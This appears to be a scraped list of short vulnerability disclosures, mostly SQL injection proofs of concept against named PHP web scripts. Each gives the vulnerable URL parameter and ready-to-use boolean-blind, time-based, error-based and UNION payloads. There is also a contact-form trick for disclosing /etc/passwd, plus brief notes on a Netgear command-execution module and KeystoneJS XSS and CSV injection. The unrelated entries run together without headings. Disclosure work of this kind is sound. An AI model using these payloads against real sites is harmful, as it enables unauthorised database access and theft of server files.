It requires a contact form that sends HTML emails and allows to send a copy to your e-mail. Put <img src="/etc/passwd"> in the message (or other file to disclose).
This module exploits an unauthenticated OS command execution vulneralbility in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and DGN2000v1 models.
A cross-site scripting (XSS) vulnerability exists in fields/types/markdown/MarkdownType.js in KeystoneJS before 4.0.0-beta.7 via the Contact Us feature.
CSV Injection (aka Excel Macro Injection or Formula Injection) exists in admin/server/api/download.js and lib/list/getCSVData.js in KeystoneJS before 4.0.0-beta.7 via a value that is mishandled in a CSV export.
SQL injection on [id] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/property_detail.php?id=29 AND 4599=4599 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=29 AND 4599=4599 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=29 AND SLEEP(5)
Fortune Crowdfunding Script is a popular crowdfunding script developed in jQuery, PHP and MySQL. SQL injection on [id] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/page_running_projects_details.php?id=11' AND 5391=5391 AND 'Qkwz'='Qkwz Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=11' AND 5391=5391 AND 'Qkwz'='Qkwz
SQL injection on [id] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/Job_Details.php?id=6 AND 9364=9364 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=6 AND 9364=9364
SQL injection on [id] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/property_details.php?id=12 AND 3616=3616 Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=12 AND 3616=3616
SQL injection on [ser] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/service-provider.php?ser=9631 Parameter: ser (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ser=9631' AND 8601=8601 AND 'ZarH'='ZarH
SQL injection on [keywords] parameter. Proof of Concept (PoC): SQLi: https://localhost/[path]/Category/ Parameter: keywords (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: keywords=SEARCH' AND (SELECT 2673 FROM(SELECT COUNT(*),CONCAT(0x716b706b71,(SELECT (ELT(2673=2673,1))),0x71767a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UqZI'='UqZI&category=3 Type: UNION query Title: Generic UNION query (NULL) - 9 columns Payload: keywords=SEARCH' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x6251747761714a75646f44454749674748584975524b6c59687576456c68696761764659764a6954,0x71767a6b71)-- HXrZ&category=3
Services By CQR